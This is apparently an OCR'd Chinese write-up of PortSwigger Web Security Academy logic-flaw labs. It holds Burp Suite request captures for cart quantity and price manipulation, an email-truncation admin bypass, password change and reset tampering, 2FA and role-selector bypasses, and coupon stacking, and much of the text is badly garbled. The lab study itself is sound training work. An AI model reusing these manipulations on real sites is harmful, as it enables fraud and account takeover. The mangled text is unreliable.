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FPOST Jeart HTTR/ 1

Host: acB841f281e26dedd80d1991f00f200be web-security-academy. net

Connection: close

Content-Length: 49

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: https:/fac841f281e26dedd80d1991f00f200be web-security-academy. net

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4: x64) AppleWebKit/537 .36 (KHTNL, like Gecko)
Chrome/85.0.4183.121 Safari/537.36 Edg/85.0.564.63

Accept:

text/html application/xhtml+xml application/xml;q=0.9 imagefwebp image/apng **,q=0.8 application/s
igned-exchange;v=h3, =09

Sec-Fetch-Site: same-arigin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: https:/facB41f281e26ded d80d199100200bc. web-security-academy. net/product?productld=1
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN zh;q=0.9 en;q=0.8 en-GB;q=0.7 en-US;q=0.6

Cookie: session=holSTTy1zLkaggSZvsafKDvAQWIR]yat

x-forwarded-for: 127.0.0.1

productld=18&redimFFRODUCT&quantity=18&price=133700
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27 https:/facbb1fa31f580b9948 = GET facademyl abHeader
25 https:/facbb1fa31f580b9948 = GET !

24 https:/fachb1fa31f58b9948 llogin2 v
22 https:/fachb1fa31f58b9948 T llogin2

21 https:/fachb1fa31f58b9948 | POST g /login l o
16 https:/fachb1fa31f58069948 Tlogin

15 https://acbb1fa31f68b9948_#GET /academyl abHeader"

13 https //acbb1fa31f68b9346" . GET
9 https://acbb1fa31f869948  GET
7 https://acbb1fa#1f5809948... GET Iresources/images/logoAcadem...
6 https:/fack¥1fa31f5809946... GET Iresources/js/labHeader.js

1 httpgsfacbb1fad1fs809946... GET !

Iresources/images/ps-labagtsol.
Iresources/images/blog svg

EEE@@EE@%?&@MEW
HHT 7 RIS

ng W

£

K

Raw | £ [ % [hex

Raw | B4 | 3 | Hex

SOST flogin HTTP/11

Host: achbi fa31/EEb93480652bad000010 web-sscurity-academy.net
Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Win54; x64; v:81.0) Gecko/20100101 Firefox/81.0
Accept: texthhtml appli himl+xm, 09i AR08
Accept-Language: zh-CN zh;q=0.8,zh-TW, q=0.7 zhHKq 0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding. gzip, deflate

Sontent-Type: application/x-www-form-urlencoded

Content-Length: 68

Origin: https:/facbb1fa31 5859946065 2bad00f0010 web-security-academy.net

Connsction: closs

2sferer. https:/fachb1fa3158099480c52bad000010. web-security-acadsmy.net/login

Sookis: session=09xLWXNLdX2jHItBrns4F FXEHBgz

Jpgrade-Insecure-Requssts: 1

ssif=F NoKkU9Bomel iF
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1. ZRlRIEHEE S
2. ZRURB

for i in

f.write(

A, 4/ H SRS 2

GET /loginZ HTTF/1.1

Host: achh 1fa31£58b99480¢c52bad00M00 10 web-security-academy. net

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; «84; w81 u) Ge:kuaummm Fuefux/aw 0
Accept: text/tml htmk+xmi, "
Acespt-Languags: zh-CHN,zh; q=0.8,2h-TWY,
Accept-Encoding: gzip, deflate

Refarr: htps://achb1fa3158b39480c52bad00B0010. web- security-acadsmy. nstilogin
Connsction: close

Cookis: session=BuB1iYOBZN34SZS YhtkeVMiBAnmhMAE; verify=wizner
Upgrade-Insecure-Requests: 1

W, “carlos KIEWUERD S, W18 2]/ KEAERS e

S, (HR BTV E H

POST flogin2 HTTP/1.1

Host: achbfa31EBL99480¢52bad00fB0010 web-security-academy.nst

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; n:81.0) Gecanmﬂmm Fuemx/&w 0
Accept: textfhiml hmb+xmi, 09
Accept Language: zh-CN zhi=0.8.2h TW,q=0.7 zh HIG=0.6 en-US:q=0. 3.en g
Accept-Encading: gzip, deflate

Content-Type: application/x-www-form-urlencaded

Content-Length: 51

Crigin: https:/facbb1fa31/58L99480c52bad00fR0010.web-security-academy.net
Connection: close

Reforst hitps //achb f231 BBE99080¢5203d00B001 0 web-securiy-acadsmy netligin?
Cookie: session=BuBiYOBZNI4SZS YhtkeVh
Upgrads-Insecurs-Requests: 1

y
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\ 1614 1613 400 0 0 254
1659 1658 400 0 0 254
1666 1665 400 0 0 254
1668 1667 400 0 0 254

i 1670 1669 400 0 0 254 E
1673 1672 400 0 0 254

i; 1676 1675 400 | | 254
1677 1676 400 | | 254
1678 1677 400 | | 254 k-
1679 1678 400 [ [ 264 5
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HTTP/1.1 302 Found i
Location: https:/fach91f4f1438fc580d2e41 200800004 web-security-academy. net 0
Set-Cockie: session=2k0iF2cBallxCoaaVxyqod0xvZNnp0CON; Path=/, Secure; A
EERepeater Ctrl+R
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Store credit:
$95.46

Your order is on its way!

Name Price Quantity

Lightweight "I33t" Leather Jacket $1337.00 1

Sprout More Brain Power $4.54 -294
Total: $2.24

152 1) 32 48 R

AN R OB R SR 4 A

Low-level logic flaw : %% tH 3 BUS M2 A FER TG HEH 1003 LA I8 B BIXFEER AT .

Store credit:
$100.00

Cart

Name Price Quantity

Lightweight "I33t" Leather Jacket $1337.00 ’ 32123 o
Giant Grasshopper $28.05 . 44 °

Coupon:

Apply

Total: $12.24
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POST Jcart HTTR/ .1

Host: ace81fdalf8ed58f800617 e000bE001f web-security-academy.net

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html application/xhtrml+xml, application/xml; g=0.9 image/webp ** g=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/s-www-form-urlencoded

Content-Length: 36

Crigin: https:/face81fdalf8edsB800617 e000LE001f web-security-academy.net

Connection: close

Referer: https:/face81fdalfBedEsB00617 e000LE001f web-security-academy. net/product?productld=3
Cookie: session=j9rm0gukXLRSU40eTZegk36240MinOTi

Upgrade-Insecure-Requests: 1

X-Forwarded-For: 127.0.0.1

productld=1&redimFRODUCT&quantity=93
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J Raw T 4 m Hex 1

POST feart HTTRM 1

Host: aceB1fdalf8eds8f300617 00006001 web-security-academy. net

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rnv:81.0) Gecko/20100101 Firefox/31.0
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 imagefwebp ™ q=0.8
Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encading: gzip, deflate

Content-Type: application/s-www-form-urlencoded

Content-Length: 37

Crigin: https:/faceB1fdalf8eds8f300617 e000bE001f. web-security-academy. net

Connection: close

Referer: https:/face81fdalBede8B00617 e00006001f web-security-academy. net/product?praductld=3
Cookie: session=9rmn0gukXLESU40eTZegk36240MinOTi

Upgrade-Insecure-Requests: 1

X-Forwarded-For: 127.0.0.1

productld=18&redimPRODUCT&quantity=47

RIE ZA4A XA

Giant Grasshopper

$23.05

245




OK

Store credit:
$100.00

Cart

Name

P
AL

Description:

If you are one of those anti-social people whe like to sit in a corner and try not to catch anyone's
be annoyingly cheery people who think you must be lonely and gatecrash your tranguility with n

We breed our grasshoppers to an enormously threatening size, and train them to bite using the
aren't put off by its peculiarities and insist on chatting 'animal' with you.

The grasshoppers are surprisingly easy to keep. They will keep your home free of bugs and verm
taken out on a leash, but with practice, you will find a way to fall in step quite quickly.

This particular breed has an exceptionally long lifespan and can be passed down through the ge
so we highly recommend not having any visit your home. Can be housed with ather grasshoppe
understand the rules of the house.

44

Price Quantity

Lightweight "I33t" Leather Jacket $1337.00 .32123°

Giant Grasshopper

Coupon:

o @@



Total: $12.24
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Inconsistent handling of exceptional input

M — KT

O & https://acdf1f001e01e381807582e200c2009a.web-security-academy.net/register Q
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Web Security Inconsistent handling of exceptional input

Academ —g m Back to lab description »»

Register

If you work for DontWannaCry, please use youf/@dontwannacry.com email address

Username

admin

Email

attacker@ac471fd81e8ce3b2809882c0015c008e.web-security-academy.net

Password

BFRAEEFEANR, BIRALRE
Fwriteup:

AN IR 2 2 BT B A P A
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£ https://acdf1f001e01e381807582e200c2009a.web-security-academy.net/admin

*
o
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= g O W B

WebSecurity Inconsistent handling of exceptional input
Academ m Back to lab description »»

Home | Login | Register

Admin interface only available if logged in as a DontWannaCry user

XHE /admin WEE SR RAE Dontwannacry B P 7 8815 illadminii [
M BT 3278 DontwWannaCry I 2 BBFE 4 @dontwannacry . com [ FH 7

Register )

If you work for DontWannaCry, please use your (@l ERGREda ATy email address

Username
Email

Password

FHEM — AKX R RS

35 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111212111111213111112131111122311117121331111223111712311112313111712331111213311123331111233111313331111233111213331111113111111
1111112111111121111111211111111111111@ac471fd81e8ce3b2809882c0015c008e.web-security-academy.net



B et 22 R IR A AT T
Web Security Inconsistent handling of exceptional input )
Academ [ Emai cient [T,

Home | My account | Log out

My Account

Your email is:
111111111111 1111111111111 1111111111111 11111111111 111 1111 11111111111 1111 11111111111 11111111 111111111111 11111111 11111111111 1111111

0 T e B e B e R B R B R R R R R R R R R AR R R AR AR AR AR AR AR RN

Delete account

REF T 225175

A BIEM— KT X IR

3H 11111111111111112111111111211111111221111111112111111211211111111111111111111111111111111111111111111111111111
11111112331111323111331331131323111333311313323311133233711313331113333711313333111333371131233311313333113133331113133311133311111
11111111111111111@dontwannacry.com.ac471fd81e8ce3b2809882c0015c008e.web-security-academy.net

VEM B IR A BT, 58 R £ T T
Web Security Inconsistent handling of exceptional input
Academ [ Backtola home | Emaicient [T

Home | Admin panel | My account | Log out

My Account

Your email is:
T T T T T T T e T T T e e T e T e e I B B e B B R R e B e R R R e B e R R R R R AR AR AR AR AR AR AR AR

T 1111111111111 1111111111111 1111111111111111111111111111111111111111111 11 @dontwannacry.com

Delete account

7 RIMFEW R DontWannacry FI P T

Web Security Inconsistent handling of exceptional input )
Academ! E I m Back to lab description 3>

Home | Admin panel | My account | Log out

Users

admin - Delete
admin1 - Delete
administrator - Delete
carlos - Delete
wiener - Delete

MIBR carlos , &%
IX 2 B B — NN



(b))

PS E:\VScode-workspace F:/Runtime/python3/python.exe e:/VScode-workspace/test/print_1x200.py
111111111113111211111111111113111311311211311131311131113113113113113131131311213113171311371133113313131713131313137113311331131311113117]
11111111111311121111111111111311131131121112111313111311131131131131133113131171311312131137113311313131311713113113711331133113131113117]
11111111111211121111111111311113111....

17
111111111113111211111111113111311131131121121113131121311131131131131131311313113131131131137113311331313131313131131133113311313111117]
111111111112111211121111111111311131713112112111213112131113171311311311331131311313121312131137113311331131317131313113711311331131311131117]

11111111111111
PS E:\VScode-workspace

3.5 P AT it A R B R
EREERHPFABRERGEER
ZEHA —R




Inconsistent security controls
TS B A T 355 3 1E R A4
B T ERAE XA ER A AT

Web Security Inconsistent security controls

Academy g [ Back to lab description >

Congratulations, you solved the lab! o Share your skills! | Continue learing >

Home | Admin panel | My account | Log out

My Account

Your email is: admin@dontwannacry.com

Email

| admin@dontwannacry.com

Update email

R P A= 8RR 55 ]
LRI SRR



Weak isolation on dual-use endpoint

IEHRIC K &current-password=peter M3 5 i Bt A 3 E JR 258 T 18

Burp Suite Professional v2.01
| Burp Project Miiss BHEE & M

y:LianZhang

ks | o6 | e [ oing | =as | wns [ wes s | merR [ mesn | mewd |

(s8] ma (<I7](>7])

ik

Raw | Z#1 | % | Hex

E47: https://ac981f9b1e5990668067032600c50007. web-security-academy.net / @

3] 51

Raw | % | Hex | HTML | Render

POST /my-account/change-password HTTP/1.1 A
Host: ac98119b1e5990668067032600c50007 web-security-academy.net r
Connection: close
Content-Length: 102
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://ac981{9b1e599066806703260050007 web-security-academy.net
Content-Type: application/s-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win54; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/86.0.4240.183 Safarif537.36 Edg/86.0.622.63
Accept:
text/html application/xhtml+xml,application/xml;q=0.9 image/webp image/apng */* ¢=0.8,
application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: #1
Sec-Fetch-Dest: document
Referer:
hitps:/fac98119k125990668067 032600250007 . web-security-academy. net/my-account?id=
wigner
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 en-GB,¢q=0.7 .en-US;q=0.6
Cookie: session=s]WkjjghwaTwB09cHIjKzalWAwd Cxy
csi=tQYBSzCETAAG3Bul XsUz1 GpgbtQUTO&username=administrator&eurrent-passwo
rd=peter&new-password-1=admin&new-password-2=admin
=
L
@) BatkE

HEFHRRA

HTTP/1.1 200 OK Ja
N

Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 2547

<IDOCTYPE htmb>
<html>
<head>
<link href=/resources/css/academylabHeader. css rel=stylesheet>
<link href=/resources/css/labs css rel=styleshest>
<title>Weak isolation on dual-use endpoint<ftitle>
<fhead>
<body=
<script src="/resources(js/labHeader.js"></script>
<div id="academylLabHeader">
<section class="academylLabBanner"=
<div class="container">
<div class="logo"=</div>
<div class="title-container">
<h2=Weak isolation on dual-use endpoint</h2>
<a id="ab-link' class="hutton' href="">Back to lab home=</a>
<a class="link-back"
href="https//portswigger. net/web-security/logic-flaws/e xamples/lab-logic-flaws-weak-isolation-on-dual-use-endpoi
nt"=
Back&nbsp;to&nbsp;lab&nbsp;d iption&nbsp;<svg version="1.1" id="Layer_1"
xmins="http:fwww w3.org/2000/svg" xmins:xlink="http: /fwww w3 org/1939/xlink" x="0px" y="0px" viewBox="0 0
28 30" enable-background="new 0 0 28 30" xml:space="presere" title="back-arrow">
<g>
<polygon points="1.4,00,1.2 126,15 0,28.8 1.4,30 15.1,15"></polygon=
<polygon points="14 30 12.9,1.2 256,15 12.9.28.8 14 .3 30 28 15"></polygon=
<fg>
<fsvg>
! <fa> ",
@ (=]l > snteE

2647 | 34E R




Password reset broken logic

Che 5

e Professional v2.0beta - Temporary Projec ensed to surferxyz By:LianZhang

Burp Project Mifs} #HE &GO #ED

=

ks | on | e | oing | =xs e o [ons | merR [ mesn | mewd |

HTTPR$ iR | WebSocketps: | lf

Af
7|8+ css, BA. —mREIHSDT (@)
e ME3) |B% |URL |88 @8 |WE |E |MMERZ | |{E | i |ssL [P
7183 https:/ibizapi.csdn.net POST  /blog-console-apifvd/mdeditor/sa... W 200 2587 JSON v 39.97.4.86 A
(182  hitps:/iideff.nelreports_net POST  /fapi/report?cat=msn W 200 313 text v 236374567

181 https:/fdeff.nelreports.net OPTI... [fapifreport?cat=msn W 200 294 v 236374567

180  https://bizapi.csdn.net POST  /blog-console-apifvd/mdeditor/sa... W 200 2587 JSON v 39.97.4.86

179 https:/ibizapi.csdn.net POST  /blog-console-apifvd/mdeditor/sa... W 200 2587 JSON v 39.97.4.86

176 hitps:/fynuf.aliapp.org POST  /senice/um json W 200 1098 JSON Json v 203.119.169.69

175 https:/iprofile.csdnimg.cn GET [3/E/4/3_qq_42942594 302 882 HTML v 39.96.132.69

174 https:/ibizapi.csdn.net GET {blog-console-apifiv3feditor/getAr. . W 200 36251  JSON v 39.97.4.86 ¥

ELS J 5

| R | RESEK | W

I Raw | &#1 | % | Hex

FPOST Horgot-password?temp-forgot-password-token=gd Q4wvFD2ZuSWidMADK TwsvelekL9zkKg HTTPM A A
U Host: acyflIfo21 edbefabBlafl3c700e600ec. web-security-academy. net r
_|Connection: close
Content-Length: 167
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
aOrigm: https:/fac7 {521 ed6efabB0af03c700e600ec. web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64) AppleWebkKit/537.36 (KHTML, like Gecka) Chrome/86.0.4240.183 Safari/537 .36 Edg/86.0.622.63
Accept: text/html,application/xhtml+xml applicationfxml;g=0.3 imagefwebp, image/apng, ™ g=0.8 application/signed-exchange;w=h3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Maode: navigate
Sec-Fetch-User: 71
Sec-Fetch-Dest: document
Referer: https:facTfl521ed6efab80af03c700e600ec. web-security-academy. netforgot-password ?temp-forgot-passward-token=gd Q4wMP D2usSWid MADX TwsvelekL9zKqg
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 en-GB,¢=0.7 en-US;q=0.6
Cookie: session=Y45hnBTKS8dddP1QWAhggY xdC19Hauwe
csf=TkWUHKZpniXTgIBZDSHNJemDOKFBzuTl&temp-forgot-password-token=gd Q4whMPDZus\Wid MACXKN Twsvelek L9z Ko gusermame=carlos 8hew-password- 1=admin 123456 &new-password-2=admin 123456
b
L
@ BB 2t
= _——

F P FFA B R A8 T B I

Users won't always follow the intended sequence

2FABk T



HEF 3B P Ry
S

e Professional v2.0beta - Temporary Projec

4 Burp ¢ ensed to surferxyz By:LianZhang

_| Burp Project Wifts JEE BO FE

et | B [ f6R | 0 | 528 | =08 | 508 [wnE | GtorR | mes | mend |

t HTTPR$ iR | WebSocketps: | lf

| i C55 BR —MERE IR

@

# v EH | B URL |28 W\ (BT |E | MIME 2629 | 3E49 | #7188 | iFits | 8¢

56 https:/fac1d1fd41f3674f48... GET fresources/images/ps-lab-solved. .. 200 699 HML svg l;

55 https:/fac1d1fd41f3674f48... GET facademylLabHeader 101 147

54 https:/fac1d1fd41f3674f48... GET fresources/js/completedLabHea... 200 167 script s

53 https:/fac1d1fd41f3674f48... GET fmy-account?id=carlos v 200 5177 HTML 2FA simple bypass

52 https:/fac1d1fd41f3674f48... GET facademylLabHeader 101 147
! 81 https:/fac1d1fd41f3674f48... GET flogin2 | v 200 7552 HTML 2FA simple bypass il
| 50 https:/fac1d1fd41f3674#48... POST flogin v 302 174
1149 https:/fac1d1fd41f3674f48... GET facademylLabHeader 101 147
a 48 https:/fac1d1fd41f3674f48... GET flogin 200 3007 HTML 2FA simple bypass
|47 https:/fac1d1fd41f3674f48... GET facademylLabHeader 101 147

46 https:/fac1d1fd41f3674#48... GET f 200 7466 HTML 2FA simple bypass
Vil a5 https:/fac1d1fd41f3674#48... GET flogout 302 168 =
V|| 44 https:/fac1d1fd41f3674f48... GET facademylLabHeader 101 147

43 https:/fac1d1fd41f3674f48... GET imy-account?id=wiener v 200 3334 HTML 2FA simple bypass F |
j_;,& e iri i — R - - 7 o
| BfaER | WERER | W&

Raw | Z#1 | % | Hex
GET flogin2 HTTP/1.1 :

Host: actd1fdd11367 4f480c89602005000a4 web-security-academy.net

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; ne82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml application/xml;q=0.9 imagefwebp *f* q=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5 en-US; q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: https:facd1fdd 1367 4f480c89602005h00a4 web-security-academy. net/lagin

. |Connection: close

1€ Coakie: session=maQCIlI9Bq1GafbE Y ghsWWWa Y 1 BXwiY DA

Upgrade-Insecure-Requests: 1

¥-Forwarded-For: 127.0.0.1




1s

4% Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz
Burp Project M2 k2 &0 &

wka | Bn [ rE | vinE [ EaE | =53 | 03 [ s | R | mewd | 6

T | WebSocketri® | i1

|

idEE: CSS AR, —#RIRE T HAsH
S Bk URL
I 56 https://ac1d1fd41f3674f5. . GET fresources/images/ps-lab-solv
; 55 https://ac1d1fd41f3674f5. . GET facademylabHeader
54 https://ac1d1fd41f3674f5. . GET fresources/js/fcompletedLabHe
53 https://ac1d1fd41f3674f5. . GET Imy-account?id=carlos
52 https://ac1d1fd41f3674f5. . GET facademylabHeader
51 https:/fac1d1fd41f3674f46... GET /login2
50 https:/fac1d1fd41f3674f45... POST {login
|| 48 https://ac1d1fd41f3674f5. . GET facademylabHeader
\d 48 https:/fac1d1fd41f3674f48... GET {login
|| 47 https:/fac1d1fd41f3674f48... GET facademyLabHeader
46 https:/fac1d1fd41f3674f48... GET /
tw 45 https:/fac1d1fd41f3674f48... GET flogout
o 44 https:/fac1d1fd41f3674f48... GET facademyLabHeader
43 https:/fac1d1fd41f3674f48... GET fmy-account?id=wiener
P —— P

o LR | iR | e |

[Raw [ &1 [ [ Hex |

GET /HTTR/.1
Host: actd1fd4 1367 4f480c89602005000a4 web-security-academy.net

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html application/xhtml+xml application/xml, g=0.9 image/webp ** =08
Accept-Language: zh-CN,zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https:/Vacld1fd41f367 4f480c89602005000a4 web-security-academy. net/login
Connection: close

ti¢ cookie: session=malOlgBg1 GgfbEY ghsWWa Y 1BXwMNY DA

TAERBAEA 2

Insufficient workflow validation

Upgrade-Insecure-Requests: 1
¥-Forwarded-For: 127.0.0.1

R AL -NMEENARTEFERERH AETH

Store credit:
$100.00

Cart

Name

Price Quantity

Giant Pillow Thing $4.40 .1°

Coupon:



Apply

Total: $4.40

Place order

% Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz By:LianZhang

3 Burp Project MitsE £HE O 8
tme o | fE [z | E53 | wrs [ wes [ans [atr e | aeen | mosn |
L
« | @5 [HTTPHR R | WebSocket® | I
{ B83: css Ex. —ERE_ MK [©
HRET B3 | URL |88 |@mE  |#Hs | F | MIMEZ:2! | 5283 |18 |iF
184 https://ac391f3c1f88b3288 . GET facademyl abHeader 101 147
/183 https://ac391f3c1f88b3288. . GET i\ FESEPS=E feart/order-confirmation?arder-confirmed=true Vv 200 4009 HTML Insufficient workflow r
182 hitps://ac391f3c1f38b3286... POST 142 TEEME fcart/checkout v 303 121
f| 181  hitps://ac391f3c1fBBb3286... GET facademylLabHeader 10 147 B
180  https://ac391f3c1f8b3288... GET feart 200 6251 HTML Insufficient workflow ... r
178 https://ac391f3c1f8b3288... GET facademylLabHeader 101 147
176 https:/ac391f3c1fB8b3288... GET /product?productld=8 v 200 4357 HTML Insufficient workflow ...
175  hitps-//ac391f3c1f88b3288 . POST EiEs |icart | v 302 92
173 https://ac391f3c1f88b3288 . GET facademyl abHeader 101 147
171 https://ac391f3c1f88b3288... GET fproduct?productld=8 v 200 4357 HTML Insufficient workflow _..
170 https://ac391f3c1f88b3288... GET facademylLabHeader 101 147
187 https://ac391f3c1f88b3288... GET fresources/images/shop.svg 200 7250 XML svg
<\ J L
iEd | m
Raw | &# | =k | Hex
POST Jeart HTTP/1.1 E

Host: ac39113c1186032880aa3c4700420083 web-security-academy.net

User-Agent: Mozilla/5.0 (Windows MNT 10.0; Winb4; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html application/xhtml+xml,application/xml;q=0.9 imagsfwebp */*q=0.5
Accept-Language: zh-CN,zh;g=0.8 zh-TW,¢q=0.7 zh-HK;q=0.5 2n-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 36

Crigin: https:/fac391{3c1188b32850aa3c47004 20083 . web-security-academy. net

Connection: close

Referer: https:/fac391f3c1f38h32880aa3c4700420083 web-security-academy. net/product?productld=3
Cookie: session=pyAGIzqGatSegswydPVs3veylsAglku2

Upgrade-Insecure-Requests: 1

H-Forwarded-For: 127.0.0.1

IS T =45 e B B BRI H IS R : H S 0 B 2 A AT
B A R R B L S B B8 T



Authentication bypass via flawed state machine

307  https//acad1fb61e6b7c7e80280d9200d9003 . GET Irole-selector v 200 10791 HIML Authef 3 ~
306  https//acadifb61e6b7c7e80280d9200d3003 . POST Tlogin v 302 181
305  https://acad1fb61e6b7c7e80280d9200d9003. GET J/academyl abHeader 101 47
304 http/iocsp.pi.goog POST Igts1otcore v
71303  https//acad1b61e6b7c7e80280d3200d3003 . GET Tlogin 200 3128 HTML Authe
302  https://acad1fb61e6b7c7e80280d9200d9003. GET /academyl abHeader 101 a7
301  https://acad1fo61e6b7c7280280d920049003... GET ! 200 10629 HTML Authe/
300  https:f/acadfb61e6b7c7e80280d9200d9003 . POST ‘lvalese\ec(ov ‘ v v 404 123 text
299 https://acad1fb61e6b7c7e80280d9200d9003.. GET /my-account?id=admin v 401 129 text l
285 https://acadfb61e6b7c7e8028049200d9003... GET lacademyLabHeader 101 147
] 284 https://acadfb61e6b7c7e80280d9200d9003 . GET Irole-selector 200 3096 HTML Authe|
283 https:f/acad1fb61e6b7c7e80280d9200d9003.. POST Tlogin v 302 181
282 https://acadfb61e6b7c7e8028049200d9003... GET lacademyLabHeader 101 147
281 https //acadfb61e6b7c7e80280d9200d9003 . GET Tlogin 200 3128 HTML Authel”
JIEIS E1S —
| [ | i e ik | ERE | nm
| [Raw | &t [ [ Hex Raw | 58 | % | Hex
POST frole-selector HTTPA 1 POST/HTTPA 1
| Host: acad1ib61e6b7c7£8026049200d9003c. wehb-security-academy net Host: acad1f61e6b7c7eB0280d3200d3003c web-security-academy net
UserAgent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv.62.0) Gecko/20100101 Firefox/82.0 UserAgent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Aceept: text/html 1. =09 =08 Accept: text/html appli htmi+xmi appli q=0.3, 1t q=08
Accept-Language: zh-ON zh;g=0 8, zh-TW: =0 7 zh-HK: q=0.5,en-US: g=0.3 an: q=0.2 Accept-Language: zh-CN zh; =0 8 zh-TW:q=0 7 zh-HK:q=0 5 en-US: =0 3 =n:q=0 2
Accept-Encading: gzip, deflate Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
Content-Length: 57 Content-Length: 57
Origin: https://acad1fb61eBb7 c7eB80280d9200d3003c. web-security-academy net Origin: https:/facad1ft61e6b7 c7e80280d3200d3003c web-security-academy. net
Connection: close Connection: close
Referer: https:/facad1fu61e6b7c7 eB0280d3200d9003¢ web-security-academy. net/role-selector Referer: hitps: /facad1fb61e6b7 c7eB0280d3200d9003 ¢ web-security-academy.net/role-selector
Cookie: Vibi9wOlleH3oWbXjwaSBridtS xp Cookie ion=BitY rbiIwOlleHIoWhXjwaS(Bridt Sxp
Upgrade-Insecure-Requests: 1 Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1 X-Forwarded-For 127.0.0.1
role=content-author&csr=UsSMe5DGB5QaD0Bwyl Z0kyUONBg1qe Si role=content-author&csf=Us SMe5DGB5QaD0BwyIZ0ky UONBg1 qcSi
@ e @ =)l [rarsn

S S R R, I — 25 BV I BB T admin B £ B
4.5 7E T, H) R B
FEVF I, MoHIB B R T AL 55 S ot 5 P 3B S 0

LR ERFTINThEE R IFREERE BB BGEE . X TREERG, XWRE—MEENET, EFMONALRESHRE
T S ) 32 SR R P

Blan, ZER—ANELEME, WRITEEIT1000%5T, LT . MRVFEBLEMEEMANEITERTOER, WiXM
BB . ERXMIEOT, Y& o AR Rk RSB b, BEEXE1000KTTHIBE, RJETET B2 TR A
AERERRE . R)E, BT RAERE IR, milbai@im.

T B R TE AR TE F P BV S O AR T B AR SR b BURE TR O . X T R P A AT A BB AT IX SR B, DA
BAEA AR AT X AR, XEEY KB BRENARET, fEAATHNA KRS RN R KRG EART RS .

ERHIXERAE, BFREFAEEYEETRABE B, R ERARERIIRERELARX — BRI TE. XAREE
—EBRERSERE MR, DEEBESERN LT P ATRRENN . BANRBRKG T, REETHLZEE, T e
KEM P ERBEVREI S 4L

BA XA AR, RIS RIEERATN, FOIMRBRARE B IRBEEBERES RN . R, RA]EIR AR X fOE R
*k, FERIXFHMCRBROANEENTRAEGE LK. AT HPERN, &REEPEHKRERETIERPEBELRER
B, ENELBEME. AT, TRERIFIRougIESE . TIREPHA, EEAR-NABRREEZERBHFRANR, BTGk
EREANFHEBERR B A KRBT N HARTF . EXHERT, SRRSO, FAETHMBRT, 58
1R E R TR URBMATH WM . XITRERATREH R 2 TAEEM, (BRXAFR 2 M, HA A & BeA v feiReE
1R Zbug.

A R B B M 55 38 0

Flawed enforcement of business rules

BFIHERBEHAE —MLESFRINEWCUSTS.

FETHEEHER, EMHERE. Rl 5 —MUEZFEESIGNUP30,
R R e I B R W % B

FEEMWAN A ESBS,  CAIRAEIT R IT 8



ERZRMARG . EER, MREESMAR-RERHR, WeEEg, FHARERORNA. B2, WRAEXH ML HE
DI, T Lgead et

HEEFRXHEMELEBHRIRE, URADERITRSS, DRTERORKEEGEH. TRERERENHS.
A IR I R gead AU B e R RE A A — IR BT BR

Lightweight "I33t" Leather Jacket $1337.00 .1°

Vintage Neck Defender

Coupon:

Apply

Code
NEWCUST5
SIGNUP30
NEWCUST5
SIGNUP30
NEWCUST5
SIGNUP30
NEWCUST5
SIGNUP30

Total:

76 BR 5% 11 3% 48 6k B

$0.00

Reduction
-$5.00
-$487.50
-$5.00
-$487.50
-$5.00
-$487.50
-$5.00
-$487.50

$3.47

©-0



Infinite money logic flaw

XK R ER: Sk — AL R I B 2 (1058 LR, 7T DL 103e8R), AR J5 fE A sTenup3e SRIT7#r, Ll RJE, 3K
B—A LD, £ REK /S £ R 108RER, XA RATEE B IR T 35Uk
BRSSP RE EX A REPBIRL— T ESFH.

‘ Filter: Hiding CSS, image and general binary content |® EE
# 7| Host | Method | URL | Params | Edited | Status | Length |MIMEt.. |Exten r each item. You can
